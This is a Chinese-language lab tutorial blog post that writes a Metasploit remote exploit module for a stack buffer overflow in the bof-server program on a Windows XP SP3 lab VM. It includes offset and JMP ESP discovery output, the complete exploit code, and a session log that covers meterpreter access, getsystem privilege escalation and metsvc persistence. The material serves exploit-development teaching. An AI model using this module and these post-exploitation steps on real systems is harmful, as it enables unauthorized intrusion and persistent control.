使用 Metasploit 实现对栈的缓冲区溢出

一、实验环境

攻击机:kali 2019-3

靶机:winXPSP3

漏洞:bof-server 缓冲区溢出漏洞

二、缓冲区溢出漏洞

1、漏洞溢出图示

2、利用思路

  如果我们知道了用来保存EIP的起始地址前面的数据长度,那么就可以将任意数据保存到原来EIP的位置,从而控制所要执行的下一条指令的地址

三、bof-server 介绍

  下载地址:https://redstack.net/blog/category/How%20To.html

  这个小程序在200端口上提供TCP服务。向这个200端口执行TELNET连接,然后提供随机数据,这个过程如下图所示

 

   发送以上数据之后,目标 bof-server 程序会崩溃,具体情况如下

   分析

  程序无法在地址41414141处找到下一条要执行的指令,从而导致了程序崩溃。这里面能找到一些蛛丝马迹吗?值41是字符A的16进制表示, A也正是我们输入的字符,它们超出了缓冲区的范围,接着覆盖了EIP寄存器。由于下一条指令的地址被重写,程序就试图按照这个41414141地址去寻找下一条要执行的指令,但这显然不是一个有效的地址,所以程序崩溃了。

四、构建该渗透模块的基础

  • 偏移量( offset)

  为了渗透这个应用程序,需要确定填满缓冲区和EBP寄存器所需字节的准确长度,在这个长度后面的内容就会被保存到EIP寄存器中。我们将未填充进EIP寄存器的数据长度称为偏移量

  • 跳转地址( jump address/ret)

  用来重写EIP寄存器的一个地址,通常是一个DLL文件的JMP ESP指令,可以让程序跳转到攻击载荷所在的地址

  • 坏字符( bad character)

  坏字符指的是那些可能导致攻击载荷终止的字符。假设一个ShellCode中存在null字节( 0x00),那么它在网络传输的过程中就可能导致缓冲过早结束,从而出现意想不到的结果。应尽量避免坏字符

五、渗透前期准备

1、流程

(1) 使用用户输入填充EIP寄存器起始地址之前的缓冲区和EBP寄存器。

(2) 使用JMP ESP的地址来改写EIP。

(3) 在攻击载荷之前提供一些填充数据。

(4) 删除攻击载荷本身的坏字节。

2、计算偏移量

Metasploit中的pattern_create工具

  • 它产生了可以代替字符A进行填充的字符序列,基于这个序列就可以改写EIP寄存器中的值
  • 使用/tools/exploit/目录下面的pattern_create.rb脚本生成一个1000字节的字符序列

使用

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
root@kali:/usr/share/metasploit-framework/tools/exploit#

Metasploit中的pattern_offset工具

  • 计算改写EIP所需的确切字节数量
  • 已经得知用来改写EIP内容的地址为72413372

使用

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q 72413372 -l 1000
[*] Exact match at offset 520

偏移量:520

3、查找 JMP ESP 地址

  需要这个JMPESP指令的地址,是因为我们通过ESP寄存器来载入攻击载荷,而不是在填充满缓冲区之后简单地找到攻击载荷。因此,需要从一个外部的DLL文件得到JMP ESP指令的地址,这个DLL文件将会使程序跳转到ESP中的地址,而这正是攻击载荷的起始地址。

(1)使用OllyDBG调试器查找可执行模块(immunity也可)

 

 

 

(2)利用msfbinscan计算JMP ESP 地址

帮助信息

复制代码
msf5 > msfbinscan -h
[*] exec: msfbinscan -h

Usage: /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/bin/msfbinscan [mode] <options> [targets]

Modes:
-j, --jump [regA,regB,regC] Search for jump equivalent instructions [PE|ELF|MACHO]
-p, --poppopret Search for pop+pop+ret combinations [PE|ELF|MACHO]
-r, --regex [regex] Search for regex match [PE|ELF|MACHO]
-a, --analyze-address [address] Display the code at the specified address [PE|ELF]
-b, --analyze-offset [offset] Display the code at the specified offset [PE|ELF]
-f, --fingerprint Attempt to identify the packer/compiler [PE]
-i, --info Display detailed information about the image [PE]
…………
复制代码

计算:

msf5 > msfbinscan -j esp /root/Desktop/ws2_32.dll
[*] exec: msfbinscan -j esp /root/Desktop/ws2_32.dll
[/root/Desktop/ws2_32.dll]
0x71ab2b53 push esp; ret
msf5 >

JMP ESP 地址:0x71ab2b53

4、填充空间

  ShellCode有时可能不在ESP所指向的内存地址。在这种情况下,往往在EIP和ESP之间会隔着一段区域,而我们需要使用随机数据或者NOP来填充这个区域。也就是说,攻击载荷中的变量空间是一定的,加载进去的攻击载荷不一定恰好占满所分配(留置)的变量空间,所以才需填充(个人理解,不一定正确)。

  NOP指的是不进行任何操作的指令。它的任务仅仅是使程序在没有完成任何操作的状态下执行到下一个内存地址。

5、确定空间限制

  攻击载荷中的变量空间确定了用于载入ShellCode的空间大小。我们需要为载入的攻击载荷中的ShellCode安排足够的空间。如果攻击载荷很大,但是分配的空间却小于ShellCode,它将无法执行。另外,当编写自定义模块时, ShellCode越小越好。我们可能会遇到这样一种情况,一个可用的ShellCode需要至少800字节,但是可用空间只有200字节。这种情况下,可以先在缓冲区中载入第一个较小的ShellCode,然后再下载和执行第二个较大的ShellCode,这样就可以完成整个渗透过程。

  ShellCode 更多信息:http://www.shellstorm.org/shellcode/

六、编写 Metasploit 的渗透模块并测试

1、渗透代码

复制代码
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Stack Based Buffer Overflow Example',
      'Description' => %q{
        Stack Based Overflow Example Application Exploitation Module
      },
      'Platform' => 'win',
      'Author' =>
      [
        '…………'
      ],
      'Payload' =>
      {
        'space' => 1000,
        'BadChars' => "\x00\xff",
      },
      'Targets' =>
      [
        ['Windows XP SP3',{ 'Ret' => 0x71ab2b53, 'Offset' =>520}]
      ],
      'DisclosureDate' => 'Apr 19 2016'
    ))
  register_options(
  [
    Opt::RPORT(200)
  ])
  end
  def exploit
    connect
    buf = make_nops(target['Offset'])
    buf = buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
    handler
    disconnect
  end
end
复制代码

2、代码分析

(1)将模块的类型定义为Msf::Exploit::Remote,这表示一个远程渗透模块

(2)库文件

  Msf::Exploit::Remote::Tcp,TCP库文件提供了基础的TCP函数,例如连接、断开、写数据等

(3)函数介绍

initialize 补充

  • platform win 定义了渗透模块所适用的目标平台,值设为win表示该渗透模块可以应用在Windows类型的操作系统上
  • disclosureDate Apr 19 2016 披露漏洞的时间
  • targets Ret: 0x71AB2B53 Ret字段给出特定操作系统中JMP ESP的地址,这个地址的值在上一节中已经找到
  • targets Offset: 520 偏移量字段给出了在特定操作系统中填充EIP之前的缓冲区所需要的字节数量,在上一节中已经找到了这个值
  • payload Space: 1000 攻击载荷中的变量space定义了可以使用的最大空间。这一点十分重要,因为有时候需要在非常有限的空间中加载ShellCode
  • payload BadChars: \x00\xff 攻击载荷中的变量BadChars定义了在产生攻击载荷时要避免的坏字符。对坏字符的声明可以保证稳定性,而且便于删除这些容易引起应用程序崩溃或者攻击载荷失效的坏字符

exploit 相关

  • make_nops,通过传递过来的参数n的值创建相同数量的NOP
  • connect,建立与目标的连接
  • disconnect,切断与目标已建立的连接
  • handler,将连接传递给相关的攻击载荷handler,以检查渗透模块是否成功执行、连接是否建立

综述

  首先使用connect函数连接目标,然后使用make_nops函数生成520个NOP( 520这个数值由初始化部分target声明中的Offset字段决定)。将这520个NOP保存到buf变量中。在接下来的一条指令中,将JMP ESP的地址保存到buf(这个地址的值由初始化部分target声明中Ret字段决定)中。使用pack('V')就可以将这个地址转换为小端模式。紧接着向Ret地址中添加少量NOP作为ShellCode的填充。使用Metasploit的优势之一就是可以动态地切换攻击载荷,使用payload.encoded可以将选中的攻击载荷添加到buf变量中。使用sock.put函数将buf的值发送到已连接的目标上。然后运行handler方法检查目标是否已经被成功渗透,以及是否成功建立了一个连接。最后,使用disconnect断开和目标的连接。

3、代码调试

root@kali:/usr/share/metasploit-framework/modules/exploits/windows/wins# /usr/share/metasploit-framework/tools/dev/msftidy.rb test.rb
test.rb - [WARNING] Explicitly requiring/loading msf/core is not necessary
test.rb - [INFO] No CVE references found. Please check before you land!
test.rb - [WARNING] Explicitly using self.class in register_* is not necessary
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/wins#
  • 根据提示,可以删除require 'msf/core' 和self.class(主要是由于版本原因)

4、运行测试

复制代码
msf5 > use exploit/windows/wins/test
msf5 exploit(windows/wins/test) > set rhosts 10.10.10.131
rhosts => 10.10.10.131
msf5 exploit(windows/wins/test) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(windows/wins/test) > show options
Module options (exploit/windows/wins/test):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.10.10.131 yes The target address range or CIDR identifier
RPORT 200 yes The target port (TCP)

Payload options (windows/meterpreter/bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 10.10.10.131 no The target address

Exploit target:

Id Name
-- ----
0 Windows XP SP3
msf5 exploit(windows/wins/test) > exploit

[*] Started bind TCP handler against 10.10.10.131:4444
[*] Sending stage (179779 bytes) to 10.10.10.131
[*] Meterpreter session 1 opened (10.10.10.143:34205 -> 10.10.10.131:4444) at 2021-09-22 08:49:04 -0400

meterpreter > getuid
Server username: DH-CA8822AB9589\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > ps
Process List
============

PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x86 0 NT AUTHORITY\SYSTEM
216 1964 VMwareTray.exe x86 0 DH-CA8822AB9589\Administrator C:\Program Files\VMware\VMware Tools\VMwareTray.exe
232 1964 VMwareUser.exe x86 0 DH-CA8822AB9589\Administrator C:\Program Files\VMware\VMware Tools\VMwareUser.exe
244 1964 ICQLite.exe x86 0 DH-CA8822AB9589\Administrator C:\Program Files\ICQLite\ICQLite.exe
452 708 HistorySvr.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\KingView\HistorySvr.exe
472 708 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe
524 708 sntlkeyssrvr.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Common Files\SafeNet Sentinel\Sentinel Keys Server\sntlkeyssrvr.exe
592 4 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
640 592 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
664 592 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
708 664 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
720 664 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
880 708 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmacthlp.exe
892 708 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
972 708 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1088 708 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1136 708 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1240 708 spnsrvnt.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Common Files\SafeNet Sentinel\Sentinel Protection Server\WinNT\spnsrvnt.exe
1252 708 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1324 708 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
1428 708 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1544 1964 cmd.exe x86 0 DH-CA8822AB9589\Administrator C:\WINDOWS\system32\cmd.exe
1704 708 VMUpgradeHelper.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\VMUpgradeHelper.exe
1932 1544 bof-server.exe x86 0 DH-CA8822AB9589\Administrator C:\Documents and Settings\Administrator\Desktop\bof-server.exe
1964 1900 explorer.exe x86 0 DH-CA8822AB9589\Administrator C:\WINDOWS\Explorer.EXE
2084 708 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe
2872 1088 wscntfy.exe x86 0 DH-CA8822AB9589\Administrator C:\WINDOWS\system32\wscntfy.exe
meterpreter > migrate 1964


[*] Migrating from 2604 to 1964...
[*] Migration completed successfully.
meterpreter > run metsvc -A

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\yVnRvlvC...
[*] >> Uploading metsrv.x86.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
Service metsvc successfully installed.

[*] Trying to connect to the Meterpreter service at 10.10.10.131:31337...
meterpreter > [*] Meterpreter session 4 opened (10.10.10.143:41079 -> 10.10.10.131:31337) at 2021-09-22 09:02:09 -0400
[*] 10.10.10.131 - Meterpreter session 4 closed. Reason: Died

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
复制代码

 结果图示

七、参考文献

《精通Metasploit渗透测试》

posted @   z9m8r8  阅读(422)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
点击右上角即可分享
微信分享提示